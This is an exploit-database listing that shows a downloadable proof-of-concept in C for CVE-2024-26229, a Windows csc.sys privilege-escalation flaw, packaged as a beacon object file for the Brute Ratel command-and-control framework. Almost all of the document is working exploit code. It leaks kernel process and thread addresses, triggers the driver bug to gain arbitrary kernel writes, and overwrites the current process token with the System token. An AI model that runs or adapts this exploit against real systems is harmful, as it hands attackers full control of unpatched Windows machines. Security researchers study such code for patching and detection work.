Exploit database

GH-9d6d582fdce074c2536209d171ec7ffb

apkc/cve-2024-26229-bof

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-26229

7 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4
apkc/cve-2024-26229-bofRevision e1834512d87b

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

BruteRatel/CVE-2024-26229-bof.c

Suggested starting fileC · 4,461 bytes
/* 
				PoC Info
-------------------------------------------
Vulnerability:	CVE-2024-26229
Environment:	Windows 11 22h2 Build 22621
-------------------------------------------
*/

// CREDITS: https://github.com/varwara/CVE-2024-26229/tree/main

#include "CVE-2024-26229-bof.h"

enum _MODE
{
    KernelMode = 0,
	UserMode = 1
};

// Get the kernel object pointer for the specific process by it's handle
int32_t GetObjPtr(_Out_ PULONG64 ppObjAddr, _In_ ULONG ulPid, _In_ HANDLE handle)

{
	int32_t Ret = -1;
	PSYSTEM_HANDLE_INFORMATION pHandleInfo = 0;
	ULONG ulBytes = 0;
	NTSTATUS Status = STATUS_SUCCESS;

    // Handle heap allocations to overcome STATUS_INFO_LENGTH_MISMATCH
	while ((Status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == 0xC0000004L)
	{
		if (pHandleInfo != NULL)
		{
			pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, (size_t)2 * ulBytes);
		}

		else
		{
			pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (size_t)2 * ulBytes);
		}
	}

	if (Status != NULL)
	{
		Ret = Status;
		goto done;
	}

	for (ULONG i = 0; i < pHandleInfo->Count; i++)
	{
		if ((pHandleInfo->Handle[i].OwnerPid == ulPid) && (pHandleInfo->Handle[i].HandleValue == (unsigned short)handle))
		{
			*ppObjAddr = (unsigned long long)pHandleInfo->Handle[i].ObjectPointer;
			Ret = 0;
			break;
		}
	}

	done:
	if (pHandleInfo != NULL)
	{
		HeapFree(GetProcessHeap, 0, pHandleInfo);
	}
	return Ret;
}

// A wrapper to make arbitrary writes to the whole system memory address space
NTSTATUS Write64(_In_ uintptr_t *Dst, _In_ uintptr_t *Src, _In_ size_t Size)
{
	NTSTATUS Status = 0;
	size_t cbNumOfBytesWrite = 0;

	Status = NtWriteVirtualMemory((HANDLE)-1, Dst, Src, Size, &cbNumOfBytesWrite);
	if (!NT_SUCCESS(Status)) 
    {
		return -1;
	}
	return Status;
}

NTSTATUS Exploit(WCHAR** dispatch)
{
	UNICODE_STRING  objectName = { 0 };
	OBJECT_ATTRIBUTES objectAttr = { 0 };
	IO_STATUS_BLOCK iosb = { 0 };
	HANDLE handle;
	NTSTATUS status = 0;

	// Initialize kernel objects to leak
	uintptr_t Sysproc = 0;
	uintptr_t Curproc = 0;
	uintptr_t Curthread = 0;
	uintptr_t Token = 0;

	HANDLE hCurproc = 0;
	HANDLE hThread = 0;
	uint32_t Ret = 0;
	uint8_t mode = UserMode;

	RtlInitUnicodeString(&objectName, L"\\Device\\Mup\\;Csc\\.\\.");
	InitializeObjectAttributes(&objectAttr, &objectName, 0, NULL, NULL);
	
	status = NtCreateFile(&handle, SYNCHRONIZE, &objectAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, FILE_CREATE_TREE_CONNECTION, NULL, 0);
	if (!NT_SUCCESS(status))
	{
		BadgerDispatch(dispatch, "[-] NtCreateFile failed with status = %x\n", status);
		return status;
	}

	// Leak System _EPROCESS kernel address
	Ret = GetObjPtr(&Sysproc, 4, 4);
	if (Ret != NULL)
	{
		return Ret;
	}
	BadgerDispatch(dispatch, "[+] System EPROCESS address = %llx\n", Sysproc);

	// Leak current _KTHREAD kernel address
	hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, GetCurrentThreadId());
	if (hThread != NULL)
	{
		Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread);
		if (Ret != NULL)
		{
			return Ret;
		}
		BadgerDispatch(dispatch, "[+] Current THREAD address = %llx\n", Curthread);
	}

	// Leak current _EPROCESS kernel address
	hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId());
	if (hCurproc != NULL)
	{
		Ret = GetObjPtr(&Curproc, GetCurrentProcessId(), hCurproc);
		if (Ret != NULL)
		{
			return Ret;
		}
		BadgerDispatch(dispatch, "[+] Current EPROCESS address = %llx\n", Curproc);
	}

	// Sending the payload to the csc.sys driver to trigger the bug
	status = NtFsControlFile(handle, NULL, NULL, NULL, &iosb, CSC_DEV_FCB_XXX_CONTROL_FILE, /*Vuln arg*/ (void*)(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET - 0x18), 0, NULL, 0);
	if (!NT_SUCCESS(status))
	{
		BadgerDispatch(dispatch, "[-] NtFsControlFile failed with status = %x\n", status);
		return status;
	}

	BadgerDispatch(dispatch, "[!] Leveraging DKOM to achieve LPE\n");
	BadgerDispatch(dispatch, "[!] Calling Write64 wrapper to overwrite current EPROCESS->Token\n");
	
	Write64(Curproc + EPROCESS_TOKEN_OFFSET, Sysproc + EPROCESS_TOKEN_OFFSET, 0x8);

	// Restoring KTHREAD->PreviousMode
	Write64(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET, &mode, 0x1);

	return STATUS_SUCCESS;
}


void coffee(char** argv, int argc, WCHAR** dispatch)
{
	Exploit(dispatch);
	BadgerDispatch(dispatch, "[+] Done\n");
}